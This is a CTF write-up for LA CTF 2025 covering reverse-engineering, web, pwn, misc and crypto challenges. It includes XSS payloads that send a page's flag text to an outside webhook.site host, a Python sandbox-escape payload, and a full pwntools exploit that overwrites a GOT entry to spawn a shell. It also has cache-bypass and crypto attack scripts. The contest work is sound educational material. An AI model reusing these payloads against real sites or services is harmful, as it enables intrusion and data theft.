LA CTF 2025 Writeup

·

21 min read

rev

javascryption

read the javascript. one-liner solution:

echo 'JTNEJTNEUWZsSlglNUJPTERfREFUQSU1RG85MWNzeFdZMzlWZXNwbmVwSjMlNUJPTERfREFUQSU1RGY5bWI3JTVCT0xEX0RBVEElNURHZGpGR2I=' | base64 -d | urlencode -d | sed 's/\[OLD_DATA\]/Z/g' | rev | base64 -d
  1. base64 decode

  2. url decode

  3. replace [OLD_DATA] with Z

  4. reverse the string

  5. base64 decode

I'm a real fan of one-liners :)

crypt-of-the-necropuzzler

Run the game and it doesn't seem to be playable.

By staring at the code, we have the following keys:

  • q - exit

  • x - toggle the current block. State is stored in g[0:49]. You can only toggle blocks that are initially not toggled.

  • wasd - move

  • c - check flag

The flag check logic is this:

for each list t(i,j), for each (x,y) inside it, if n[x*7+y] is not zero, the occurrences of it in list(n[x*7+y] for x, y in t(i,j)) must be either 0 or 2. t(i,j) is the connected component by same state (# or _) and wasd.

The game renderer doesn't show the value of n[i][j] so we have to modify the display.

    if d:
        print("\x1b[2J")
        for i in range(7):
            print(" ["[(a,b)==(i,0)],end="")
            for j in range(7):
                if n[i*7+j]:
                    c = str(n[i*7+j])
                else:
                    c = ' '
                if g[i*7+j]:
                    c += '#'
                else:
                    c += '_'
                print(c, end="["if(a,b)==(i,j+1)else" ]"[(a,b)==(i,j)])
            print()
        d=0

And simply play the game. Here are a few hints:

  • Focus on 3 and 2, and the center. You can easily eliminate some possibilities.

  • Find a path to connect the two 3 and the two 2.

  • There must be exactly one solution, so if your guess leads to multiple solutions it must be wrong.

Solution:

McFlagChecker

We're given a bunch of minecraft .mcfunction. Here are the details about this extension. Basically, the files are all ASCII text. Each line is a command, and the challenge uses scoreboard system (I don't know what is this even after reading the doc but it doesn't really matter) to store variables and perform operations on them.

The first thing I did was running the command but nothing happened.

Start from the main function - check_flag. The code is not obfuscated, and it even follows function calling convention! By staring at the screen, we can reverse each function (the raw mcfunction are in the comments):

def f3(x, y):
    return max(x, y)
    # t = 1
    # if x > y:
    #     return x
    # if t == 1:
    #     return y

def f2(xin, yin):
    return xin ^ yin  # xor two booleans
    # foo = 0
    # t = 1
    # if xin == 1 and yin == 1:
    #     foo = 0
    #     # t = 0
    # elif xin == 1 and yin == 0:
    #     foo = 1
    #     # t = 0
    # elif xin == 0 and yin == 1:
    #     foo = 1
    # else:
    #     foo = 0
    # return foo

def f1(x, y):
    return x ^ y  # xor two integers
    # foobar = 0
    # bar = 1
    # barfoo = max(x, y)
    # while barfoo > 0:
    #     t1 = x % 2
    #     t2 = y % 2
    #     m = bar * f2(t1, t2)
    #     foobar += m
    #     bar *= 2
    #     x //= 2
    #     y //= 2
    # return foobar

def f4(x):
    return (x*97+129)%256
    # s = param0
    # s *= 97
    # s += 129
    # s %= 256
    # return s

def f5(a, b, c):
    return pow(a, b, c)  # (a**b)%c
    # d = 1
    # for i in range(1, b+1):
    #     d *= a
    #     d %= c
    # return d

and check_flag does the following:

def check_flag():
    var1 = 106

    var1 = f4(var1)
    var2 = r0
    var3 = var2 ^ var1
    r0 = var3

    var1 = f4(var1)
    var2 = r1
    var3 = var1 ^ var2
    r1 = var3

    var1 = f4(var1)
    # ...
    var2 = r39
    var3 = var1 ^ var2
    r39 = var3
    # the above is same as:
    # foreach ri: ri^=(f4^(i+1))(106), where f4^k means perform f4 k times

    # the below is same as:
    foreach ri:
        ri = pow(6, ri, 251)
    # var2 = r0
    # var3 = pow(6, var2, 251)
    # r0 = var3
    # var2 = r1
    # var3 = pow(6, var2, 251)

    # finally invoke another function f6
    f6()  # I missed this line at first lol

    # finally check Reg0-39 with a target sequence

It first xor each Reg0-39 with a sequence then power it. First check whether 251's power is reversible:

Run the command factor 251 and it returns 251: 251. It's a prime, so there exist exactly one original value before the power, and each Reg0-39 is reversible if we have the target.

Searching google it would suggest you to calculate the determinant and then get the inverse of B, but there is a better approach.

First, we concatenate the matrices B and s into [B | s], a 40x41 matrix. Each row is actually an equation:

$$B_{i0}r_0+B_{i1}r_1+\cdots+B_{i,n-1}r_{n-1} = s_i$$

Then, use Gaussian elimination to perform +, -, *, / in between these rows. Obviously these four operations don't make the system of linear equations different. Our goal is to use these four operations to make B'=I and the resulting last column of this combined matrix is exactly r, because

$$\begin{aligned} B'{i0}r_0+B'{i1}r_1+\cdots+B'{i,n-1}r{n-1} & = s'i \\ 0r_0+0r_1+\cdots+1r_i+\cdots+0r{n-1} & = s'_i \\ r_i & = s'_i \end{aligned}$$

The divide operator is by multiplying the inverse. You can find a tutorial here.

def mod_inv(a,p):
    return pow(int(a), p-2, p)

def solve_eq(a, x, p):
    a = np.array(a)[:,:]  # convert to np array and copy it using [:,:] (avoid side effects if the param is itself an np array)
    x = np.array(x)[:]    # same, to np array and copy
    a = np.concat((a, x.reshape(-1, 1)), axis=1)  # concatenate the matrices to B|s
    n = len(a)
    for i in range(n):
        if a[i][i] == 0:  # find another row
            for j in range(i+1, n):
                if a[j][i]:
                    a[i], a[j] = a[j], a[i]
                    break
            if a[i][i] == 0:
                raise NotImplemented
        a[i] = a[i] * mod_inv(a[i][i], p) % p  # divide this line to make a[i][i]=1
        for j in range(i+1, n):  # eliminate the lower-left triangle
            if a[j][i]:
                a[j] = (a[j] - a[j][i] * a[i]) % p
    for i in reversed(range(n)):  # eliminate the upper-right triangle
        for j in range(i+1, n):
            a[i] = (a[i] - a[j] * a[i][j]) % p

    print(a.shape, a)
    return a[:,n]   # the result is the last column

solve script:

if __name__ == '__main__':
    # parse blocks[i][j]
    blocks = [[None]*40 for _ in range(40)]
    with open("./blocks.txt", "r") as fp:  # here I copied part of reset.mcfunction to blocks.txt
        for i in range(40):
            for j in range(40):
                line = fp.readline()
                blocks[i][j] = int(line.split('Storage: ')[-1].split('}}}')[0])
    # print(blocks)

    # reverse f6
    target = np.array(target)  # target is the target sequence in check_flag.mcfunction
    target = solve_eq(blocks, target, 251)
    print(target)

    for i, x in enumerate(target):
        for y in range(251):
            if pow(6, y, 251) == x:
                target[i] = y
                # print(i)  # this is to make sure there's only one original value
    t = 106
    for i, x in enumerate(target):
        t = f4(t)
        target[i] = x ^ t
    print(target)
    for c in target:
        print(chr(c), end='')

I expected this to be an minecraft challenge but it isn't :(


web

chessbased

The flag is only sanitized at endpoint search not endpoint render. Go to that endpoint and get the flag.

/render?id=flag

cache it to win it!

We need to make a request to a uuid not being cached but actually goes to the same uuid.

Asking GPT, we get this:

Q: what if the uuid has trailing spaces? remember this is a ctf challenge. I need to construct a payload which, the database think two uuids are the same but the cache (normalized) doesn't.

A: VARCHAR fields: When comparing values, MariaDB and MySQL typically ignore trailing spaces. This means that 'UUID ' = 'UUID' (note the space after the first UUID).

Therefore, we can append as much %20 (space) as we want. However, when the length hits a limit it won't work. Another character is %00, and we can randomly mix them together.

import os
import random
from threading import Thread


url = 'https://cache-it-to-win-it.chall.lac.tf/check?uuid=016982b7-7378-4318-8d9f-c2f36cba8407'
b = []
for i in range(105):
    a = url
    for j in range(10):
        if random.random()>0.5:
            a += '%00'
        else:
            a += '%20'
    b.append(Thread(target=os.system, args=('curl '+a,)))
    b[i].start()

for t in b:
    t.join()

purell

Go to this cheatsheet and provide GPT with the sanitizer.

Payload for the first three levels:

<img src=x ONERROR="new Image().src='https://webhook.site/8ffa826e-4ab4-448d-9b67-c6a396a7498f/?t='+document.querySelector('.flag').innerText">

The rest is a little tricky. According to GPT we have iframe and the script inside is:

(function(){
  var i = setInterval(function(){
    var f = parent.document.querySelector('.flag');
    if(f){
      new Image().src = 'https://webhook.site/8ffa826e-4ab4-448d-9b67-c6a396a7498f/?t=' + f.innerHTML;
      clearInterval(i);
    }
  }, 1000);
})();

The setInterval is here because I didn't add the parent at first and thought it was because of lazy loading (im a noob in web).

With iframe escape we have a payload like this:

<iframe src="javascript:alert(1)">

Removing the trailing > works. The last one restricts the use of whitespaces, and according to a pdf we can use <iframe/src="" to make it work.

payload = """
javascript:(function(){
  var i = setInterval(function(){
    var f = parent.document.querySelector('.flag');
    if(f){
      new Image().src = 'https://webhook.site/8ffa826e-4ab4-448d-9b67-c6a396a7498f/?t=' + f.innerHTML;
      clearInterval(i);
    }
  }, 1000);
})();
""".strip().replace('\n', '')

print('<iframe/src="', end='')
for c in payload:
    print(f"&#x{hex(ord(c))[2:]};", end='')

print('"')

plinko

According to GPT we have the script (which doesn't work):

// Assuming 'engine' is your Matter.Engine instance
Matter.Events.on(engine, 'collisionStart', function(event) {
    var pairs = event.pairs;

    for (var i = 0; i < pairs.length; i++) {
        var pair = pairs[i];

        // Identify the ball in the collision
        if (pair.bodyA.label === 'ball' || pair.bodyB.label === 'ball') {
            var ball = pair.bodyA.label === 'ball' ? pair.bodyA : pair.bodyB;

            // Always set the x-velocity to a negative value to move left
            Matter.Body.setVelocity(ball, {x: -Math.abs(ball.velocity.x), y: ball.velocity.y});
        }
    }
});

I wanted to change the velocity to always make the ball move left. However, the script is placed on a wrong location. The correct way to modify the client behavior is inside an event handler already provided.

I've tried lots of combinations like, move the ball left on collision, change the velocity after collision, etc. The one worked is to move the ball left by 10 after a collision (locally it's 10, remotely it's 30). Specifically, add this at physics.js:145:

                        if (ball.position.y<900){  // move left if not near ground
                            Matter.Body.setPosition(ball, {
                                x: ball.position.x-30,  // move left by 30
                                y: ball.position.y
                            });
                        } else {  // do nothing if near ground
                            Matter.Body.setPosition(ball, {
                                x: ball.position.x-0,
                                y: ball.position.y
                            });
                        }

Use burpsuite to intercept it and insert the script at line 145 (it is an empty line).


misc

broken ships

According to GPT

Q:

I found a hole in my ship! Can you help me patch it up and retrieve whatever is left? https://broken-ships.chall.lac.tf/v2/Please extract anything important in the challenge description above. The website returns {} at v2 and empty content 200 code at root

A:

Site Behavior:

  • Root (/): Returns a 200 OK but with empty content.

  • /v2: Returns {}, which is typical for a Docker Registry endpoint.

Likely Implication:

  • The challenge domain (broken-ships.chall.lac.tf) looks like it might be running a Docker Registry at /v2.

  • Docker registries often respond with an empty JSON object {} if you just do a GET on /v2.

  • This suggests you could enumerate repositories by requesting GET /v2/_catalog, or use Docker commands to pull images from the registry (e.g., docker pull broken-ships.chall.lac.tf/<repo>:<tag>).

Therefore we can get the repo name and tag name and pull. However the pull didn't work. A good guess would be to download only the fs layer and manually extract it.

   "fsLayers": [
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:99aa9a6fbb91b4bbe98b78d048ce283d3758feebfd7c0561c478ee2ddf23c59f"
      },
      {
         "blobSum": "sha256:529375a25a3d641351bf6e3e94cb706cda39deea9e6bdc3a8ba6940e6cc4ef65"
      },
      {
         "blobSum": "sha256:60b6ee789fd8267adc92b806b0b8777c83701b7827e6cb22c79871fde4e136b9"
      },
      {
         "blobSum": "sha256:bae434f430e461b8cff40f25e16ea1bf112609233052d0ad36c10a7ab787e81c"
      },
      {
         "blobSum": "sha256:9082f840f63805c478931364adeea30f4e350a7e2e4f55cafe4e3a3125b04624"
      }
   ],

Then GPT instructed on how to download each of them. Using file command, each file is a gzip compressed data, but gunzip -d didn't work.

Then GPT realized that they are actually tar files, so tar -xvf d extracted the flag, where d is the raw file from the fourth blobSum.

farquaad

Found this pdf.

The goal is to get the type object and its __subclasses__ and create a new object.

According to GPT, to get object we can use {}.__class__.__mro__[1]. To avoid the 'e' in __subclasses__ we need to use __dict__: use the type type's __dict__['__subclasses__'](object)[:] to get all classes. To get the string '__subclasses__' we can use {}.__dir__()[0][3] to get 'e' and concate the other.

Among all the classes, I chose <class '_frozen_importlib_external.FileLoader'> instead of importer because the importer's load_module has 'e'. However, FileLoader's function get_data also has 'e', but it's much simpler than importing os and call system. Again, use __dict__ to getattr with a string: <class ...FileLoader>('flag', 'flag.txt').__class__.__dict__['get_data'](). But this script doesn't call the method on an object, so copy and paste the class init and pass it to the function.

Full payload (simplified from the original answer):

{}.__class__.__class__.__dict__['__subclass'+{}.__dir__()[0][3]+'s__']({}.__class__.__mro__[1])[134].__dict__['g'+{}.__dir__()[0][3]+'t_data']({}.__class__.__class__.__dict__['__subclass'+{}.__dir__()[0][3]+'s__']({}.__class__.__mro__[1])[134]('flag', 'flag.txt'), 'flag.txt')

Danger Searching

Notice there must be 4 distinct signs within a single location. After searching up Hawaii Trail Danger Signs on Google Image several trails showed up. Most of them contain 3 signs and some contain 4 signs but was different from what the hint suggests. Only one location conforms exactly to the description and notice that the picture was taken in the location Pololū Valley. Then a simple search on Youtube for related videos shows where the signs are: 1:20 minuite of

https://www.youtube.com/watch?v=Zp_8ZyG77fA

at the very beginning of the trail on a hill next to the parking lot. Using PlusCode reveals the flag.

pwn

The executable maintains a tree-like structure. The edit_level() function read 0x40 bytes despite that the data only has 0x20 bytes. If two Levels are malloced consecutively, we can overwrite the second level's next array, and manipulate curr to any address we want and perform arbitrary read/write.

The whole process is:

  1. leak a libc addr. read near main, fixed offset, using test_level() write()

  2. calculate addr of system() and then write at GOT atoi (the same addr as 1.), using edit_level() fgets()

  3. call hijacked atoi() immediately on input buf '/bin/sh'

The reason to hijack atoi is that it perfectly matches the goal: at the end of get_num, it is called with the string we just provided.

Here is the full script with comments and visualized game levels:

"""

1. leak a libc addr. read near main, fixed offset, using test_level() write()
2. calculate addr of system() and then write at got, using edit_level() fgets()
3. call hijacked atoi() immediately on input buf '/bin/sh'

1 read near main then 1 write near main

        O  <- overflow
      /      --- mid has 0x10 bytes, overflow max 0x0f bytes or 0x10 bytes
    O - O  <- overflowed, explore and r/w. next[0] -> GOT atoi
  / 
O - O  <-
  \
    O  <- prev

"""

from pwn import *

elf = ELF("./chall")

# p = process("./chall")
# input(str(p.pid))
p = remote('chall.lac.tf', 31338)

p.recvuntil(b'A welcome gift: ')
main_addr = int(p.recvline().decode(), 16)
p.sendline(b'1')  # create at 0
p.sendline(b'0')
p.sendline(b'1')  # create at 1 to avoid stupid shit
p.sendline(b'1')
p.sendline(b'4')  # go to 0
p.sendline(b'0')
p.sendline(b'1')  # create two
p.sendline(b'0')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'5')  # reset
p.sendline(b'1')  # create 2 at start for prev
p.sendline(b'2')
p.sendline(b'4')  # go to 1 to prepare /bin/sh
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'/bin/sh')  # well this is actually useless
p.sendline(b'5')
p.sendline(b'4')
p.sendline(b'0')
p.sendline(b'4')
p.sendline(b'0')
p.sendline(b'2')

# p.sendline(b'A' * 0x40)  # test overflow
# p.sendline(b'3')

print('main addr:', hex(main_addr))
got_atoi_addr = main_addr - 0x1662 + 0x4038  # first output from readelf -s, second from pwndbg

print('got atoi addr:', hex(got_atoi_addr))

p.sendline(b'A' * 0x30 + p64(got_atoi_addr-0x40))

p.sendline(b'5')
p.sendline(b'4')
p.sendline(b'0')
p.sendline(b'4')
p.sendline(b'1')
p.sendline(b'4')
p.sendline(b'0')
p.sendline(b'3')
print(p.recvuntil(b'Level data: '))
b = p.recvline()
print(b)
libc_atoi_addr = u64(b[:8])
print('libc atoi:', hex(libc_atoi_addr))

libc_system_addr = libc_atoi_addr - 0x000000000003d4a0 + 0x000000000004c490  # outputs from readelf -s ./libc.so.6
# libc_system_addr = libc_atoi_addr - 0x000000000003e610 + 0x0000000000051c30

print('libc system:', hex(libc_system_addr))

p.sendline(b'2')
# input('sent edit')
p.sendline(p64(libc_system_addr))
# input('sent libc system addr')
p.sendline(b'/bin/sh')
# input('sent binsh')

p.interactive()

Cryptography

big e

According to GPT

Q: The file provide pairs of c and e, with a shared n value.

A: The script encrypts a flag using RSA with two different public exponents e_1 and e_2 , while keeping the modulus n the same.

GPT suggests Common Modulus Attack using the Extended Euclidean Algorithm

Mathematically here is how it works:


In RSA encryption, the ciphertexts are:

ct1=pte1modnct2=pte2modn

where:

  • n is the modulus (product of two primes),

  • e_1, e_2 are two different public exponents.

Key Idea:

Since both ciphertexts encrypt the same plaintext under the same modulus, we can use Bézout's identity:

$$x e_1 + y e_2 = 1$$

for some integers x, y, which we compute using the Extended Euclidean Algorithm.

Decryption:

Raising both ciphertexts to the powers x and y :

$$\text{ct}_1^x \times \text{ct}_2^y \mod n = (\text{pt}^{e_1})^x \times (\text{pt}^{e_2})^y \mod n$$

Since x e_1 + y e_2 = 1 , this simplifies to:

$$\text{pt}^1 \mod n = \text{pt}$$

Thus, we recover the plaintext:

$$\text{pt} = (\text{ct}_1^x \times \text{ct}_2^y) \mod n$$

Then GPT set up its environment, ran the code, and decrypted the message on the fly :) Here is the code:

from Crypto.Util.number import long_to_bytes, GCD
from sympy import mod_inverse

# Given values (extracted from the script)
ct_1 = 7003427993343973209633604223157797389179484683813683779456722118278438552981580821629201099609635249903171901413187274301782131604125932440261436398792561279923201353644665062240232628983398769617870021735462687213315384230009597811708620803976743966567909514341685037497925118142192131350408768935124431331080433697691313467918865993755818981120044023483948250730200785386337033076398494691789842346973681951019033860698847693411061368646250415931744527789768875833220281187219666909459057523372182679170829387933194504283746668835390769531217602348382915358689492117524129757929202594190396696326156951763154356777
ct_2 = 2995334251818636287120912468673386461522795145344535560487265325864722413686091982727438605788851631192187299910519824438553287094479216297828199976116043039048528458879462591368580247044838727287694258607151549844079706204392479194688578102781851646467977751150658542264776551648799517340378173131694653270749425410071080383488918100565955153958793977478719703463115004497213753735577027928062856483316183232075922059366731900291340025009516177568909257605255717594938087543899066756942042664781424833498278544829618874970165660669400140113047048269742309745649848573501494088032718459018143817236079173978684104782
e_1 = 49043
e_2 = 60737
n = 9162219874876832806204248523866163938680921861751582550947065673035037752546476053774362284605943422397285024205866696280912237827227700515353007344062472274717294484810421409217463791112287997964358655519896402380272695026012981743782564008035342746214988154836484419372449523768063368280069515180570625408254410932129769708259508451185553774810385066789146531683973766796965747310893648672657945403825359068647151094841570404979930542270681833162424933411724266687320976217446032292107871449464575533610369244978941764470549091443086646932177141081314452355708815370388814214178980532690792441231698974328523197187

# Step 1: Compute the coefficients x, y such that x * e_1 + y * e_2 = 1
def extended_gcd(a, b):
    """ Returns x, y such that ax + by = gcd(a, b) """
    if b == 0:
        return 1, 0
    else:
        x1, y1 = extended_gcd(b, a % b)
        x, y = y1, x1 - (a // b) * y1
        return x, y

x, y = extended_gcd(e_1, e_2)

# Step 2: Compute the plaintext using modular exponentiation
# If x is negative, compute the modular inverse
if x < 0:
    ct_1 = mod_inverse(ct_1, n)
    x = -x

if y < 0:
    ct_2 = mod_inverse(ct_2, n)
    y = -y

# Compute the decrypted plaintext
pt = (pow(ct_1, x, n) * pow(ct_2, y, n)) % n

# Convert back to bytes
flag = long_to_bytes(pt)

RSAaaS (RSA-as-a-Service)

Looking through the code notice that the flag is triggered when an unhandled exception occurs.

One of the exception not explicitly handled is when the function

d = pow(65537, -1, phi)

throw an exception because phi isn't a coprime to e, which is 65537

because phi = (p-1)(q-1)

as long we choose any of the two to be a multiple of e, the condition satisfies.

And the other one can just be any random prime satisfying the input condition which is within 64 bite range.

Generation script:

from sympy import nextprime, gcd

e = 65537

# Find a valid p within the 64-bit range
p_candidate = 2**63
while True:
    p = nextprime(p_candidate)
    if p < 2**64 and (p - 1) % e == 0:  # Ensure p-1 is a multiple of 65537
        break
    p_candidate = p + 1

# Find a valid q in the 64-bit range that ensures gcd(e, phi) ≠ 1
q_candidate = p + 1000  # Start near p
while True:
    q = nextprime(q_candidate)
    if q < 2**64:
        phi = (p - 1) * (q - 1)
        if gcd(e, phi) != 1:  # Ensure gcd condition
            break
    q_candidate = q + 1

print(f"p = {p}")
print(f"q = {q}")

Oppss did I not mention that this script is generated by GPT? Yeah I'm sorry :()

Extremely Convenient Breaker

Reading the code we notice that the encryption algorithm is AES ECB mode. Doing a bit searching using GPT reveals the nature of the algorithm allowing us to easily crack the challenge:

• When you send a 64‑byte (4‑block) ciphertext for “breaking”, the server decrypts it block‑by‑block with the same key.

We can devide the 64 byte flag into 4 blocks. Even though the program doesn't welcome the exact same cyphertext, but could we change it by only one block so that it help us decrypt the rest of the blocks? The answer is Yes! And by maximum of 4 trials we can piece-out the original flag.

With our reasoning worked out the rest can be simply given to GPT to write out.

import binascii

# The encrypted flag printed by the service (hex string)
flag_enc_hex = "df2c25b993d8b5fea0df766491c5eec649b0b50c8a43c53b7b3eca69d164836872cdf22f36182b3bd860625748c006819e7616f2d23b107e24e277c447ce17af"
flag_enc = bytes.fromhex(flag_enc_hex)

# Break flag_enc into four 16-byte blocks: C1, C2, C3, C4
blocks = [flag_enc[i:i+16] for i in range(0, len(flag_enc), 16)]

# Choose a dummy block (ensure it’s not one of the flag blocks)
dummy = b'\x00' * 16  # for example

# Construct the four queries:
queries = {
    'Query1': dummy + blocks[1] + blocks[2] + blocks[3],
    'Query2': blocks[0] + dummy + blocks[2] + blocks[3],
    'Query3': blocks[0] + blocks[1] + dummy + blocks[3],
    'Query4': blocks[0] + blocks[1] + blocks[2] + dummy,
}

# (Now send each query to the service, and record the output)
# Suppose you have a function `send_query(data: bytes) -> bytes` that sends the hex and returns the decrypted plaintext.

results = {}
for label, query in queries.items():
    hex_query = query.hex()
    # send hex_query to the oracle and receive decrypted bytes:
    # For example: response = send_query(hex_query)
    # Here we'll just print what you'd send:
    print(f"{label}: {hex_query}")
    # And then you would parse the response, e.g.:
    # results[label] = [response[i:i+16] for i in range(0, len(response), 16)]

# After collecting the responses, you can combine them:
# P1: appears in Query2 (block 1), Query3 (block 1), Query4 (block 1)
# P2: appears in Query1 (block 2), Query3 (block 2), Query4 (block 2)
# P3: appears in Query1 (block 3), Query2 (block 3), Query4 (block 3)
# P4: appears in Query1 (block 4), Query2 (block 4), Query3 (block 4)

# You then output the concatenation P1||P2||P3||P4, which is the flag.

crypto-civilization

For this problem I give 90% of credit to GPT for that I entirely relied on its idea and code.

Here is how this challenge works:

each round the server gives a random 4-bytes value -> y

You need to put in a 4-byte hex string and the server randomly determines if your answer passes.

Here is how the server decides:

first test: chicken. revealing 2 bytes of your answer -> s to see if:

PRG(s) = your_input

Second test:

xor(PRG(s), y) = your_input

The central function here is the PRG function:

def PRG(s: bytes) -> bytes:
    assert len(s) == 2, ...
    h = hashlib.new("sha3_256")
    h.update(s)
    out = h.digest()
    return out[:4]

It takes a 16‑bit (2‑byte) salt, hashes it with SHA3–256, and then takes the first 4 bytes (32 bits) of the digest.

Ideally you need to find he correct answer to both test each round for 200 rounds.

One solution here is computing

$$\text{com} = \text{PRG}(s_0).$$

and then find the s1 that satisfy:

$$\text{xor}(\text{PRG}(s_1), y) = \text{PRG}(s_0) \quad\Longleftrightarrow\quad \text{PRG}(s_1) = \text{xor}(\text{PRG}(s_0), y).$$

For actual implementation, you need to pre-compute all possible pairs of PRG values.

table = {}
for i in range(65536):
    s = i.to_bytes(2, "big")
    table[PRG(s)] = s

When server prints y for each round, iterate the table to see if you can find a pair (s0, s1) satisfying

$$\text{PRG}(s_0) \oplus \text{PRG}(s_1) = y.$$

Note that theoretically there is only about 63% of the chance that the pair exists.

Mathematically:

PRG function does a random mapping between spaces:

$$\text{PRG}: \{0,1\}^{16} \to \{0,1\}^{32}$$

And since there are only 2^{16} possible decommitments

For a output s0, the probability of a valid s1with in the set is

$$\frac{2^{16}}{2^{32}} = \frac{1}{2^{16}}.$$

Complementary for s1 that doesn't exist:

$$1 - \frac{1}{2^{16}}.$$

Probability that none of the 2^{16} possible s_0 yields a valid pair is approximately:

$$\left(1 - \frac{1}{2^{16}}\right)^{2^{16}}.$$

For large number:

$$\left(1 - \frac{1}{n}\right)^n \approx \frac{1}{e}.$$

Worst case you still have a random guess, chances are 50%, not bad:)

The coding simply is left to GPT. With just 4 tries, we passed the cutoff line and got the flag

#!/usr/bin/env python3
from pwn import remote, context, log
import hashlib, binascii

# --- Helper functions ---

def prg(s: bytes) -> bytes:
    """
    PRG: takes a 2-byte input, hashes it with SHA3-256,
    and returns the first 4 bytes.
    """
    assert len(s) == 2, "s must be exactly 2 bytes"
    h = hashlib.sha3_256(s).digest()
    return h[:4]

def xor_bytes(b1: bytes, b2: bytes) -> bytes:
    """XOR two byte strings of equal length."""
    return bytes(x ^ y for x, y in zip(b1, b2))

# --- Precomputation ---

log.info("Precomputing PRG outputs for all 2-byte openings...")
# Build a mapping: prg(s) -> s
prg_table = {}
for i in range(0x10000):  # 0 to 65535
    s = i.to_bytes(2, "big")
    prg_out = prg(s)
    prg_table[prg_out] = s
log.info(f"Precomputation complete: {len(prg_table)} entries.")

# --- Connect to the remote service ---
context.log_level = "info"
p = remote("chall.lac.tf", 31173)

# Read the initial banner and instructions.
banner = p.recvuntil(b"Crypto test #1")
log.info("Received banner:\n" + banner.decode())

# --- Main Loop: 200 rounds ---
for round in range(1, 201):
    log.info(f"=== Round {round} ===")
    # The challenge prints "Crypto test #<round>"
    line = p.recvline().decode().strip()
    log.debug("Round line: " + line)

    # Next line is "Here's y: <hex>"
    y_line = p.recvline().decode().strip()
    log.info("Received y line: " + y_line)
    if "Here's y:" in y_line:
        try:
            y_hex = y_line.split("Here's y:")[1].strip()
            y = bytes.fromhex(y_hex)
        except Exception as e:
            log.error("Failed to parse y: " + str(e))
            p.close()
            exit(1)
    else:
        log.error("Unexpected y line format!")
        p.close()
        exit(1)

    # Next prompt: "What's your commitment (hex)?"
    commit_prompt = p.recvline().decode().strip()
    log.info("Commit prompt: " + commit_prompt)

    # --- Find a pair (s0, s1) with prg(s0) XOR prg(s1) == y ---
    found_pair = False
    s0 = None
    s1 = None
    # Iterate over every possible opening s0 (via our precomputed table)
    for prg_s0, candidate_s0 in prg_table.items():
        # Compute what prg(s1) would have to be:
        target = xor_bytes(prg_s0, y)
        if target in prg_table:
            s0 = candidate_s0
            s1 = prg_table[target]
            found_pair = True
            break
    if found_pair:
        log.info("Found pair! s0 = " + s0.hex() + ", s1 = " + s1.hex())
    else:
        log.warning("No pair found; falling back to an arbitrary commitment")
        s0 = b'\x00\x00'
        s1 = None  # We won’t be able to answer a beef challenge

    # Our commitment is prg(s0)
    com = prg(s0)
    log.info("Sending commitment: " + com.hex())
    p.sendline(com.hex())

    # Next, the challenge sends the decommitment prompt.
    # It will be one of:
    # "Did you commit the chicken? Show me (hex)." or "Did you commit the beef? Show me (hex)."
    chal_prompt = p.recvline().decode().strip()
    log.info("Decommitment prompt: " + chal_prompt)

    # Decide which opening to send.
    if "chicken" in chal_prompt:
        # Reveal s0.
        decommit = s0
        log.info("Responding with s0: " + decommit.hex())
    elif "beef" in chal_prompt:
        # Reveal s1 if we found one; else fall back (likely failing)
        if found_pair and s1 is not None:
            decommit = s1
            log.info("Responding with s1: " + decommit.hex())
        else:
            decommit = s0
            log.info("Falling back (no valid s1), sending s0: " + decommit.hex())
    else:
        log.error("Unexpected decommitment prompt!")
        p.close()
        exit(1)

    # Send the decommitment (2 bytes, as hex)
    p.sendline(decommit.hex())

    # Read the round result message.
    result = p.recvline().decode().strip()
    log.info("Round result: " + result)

# --- End of rounds ---
final_message = p.recvall().decode()
print(final_message)

One thing I observed, use the GPT o3 mini-high model leads to way better results than the other larger models. Try it out yourself :)

Too Loud To Yap

The hint mentioned that "new take of the vegenere cypher". Suggesting that the cypher might be a variant of the vegenere cypher. After trying out on various online solvers...

Don't ask me why, just type in the cyphertext into this website, choose the first variant, autokey variant, of the vegenere cypher: Vigenere Solver | guballa.de

You will get the flag.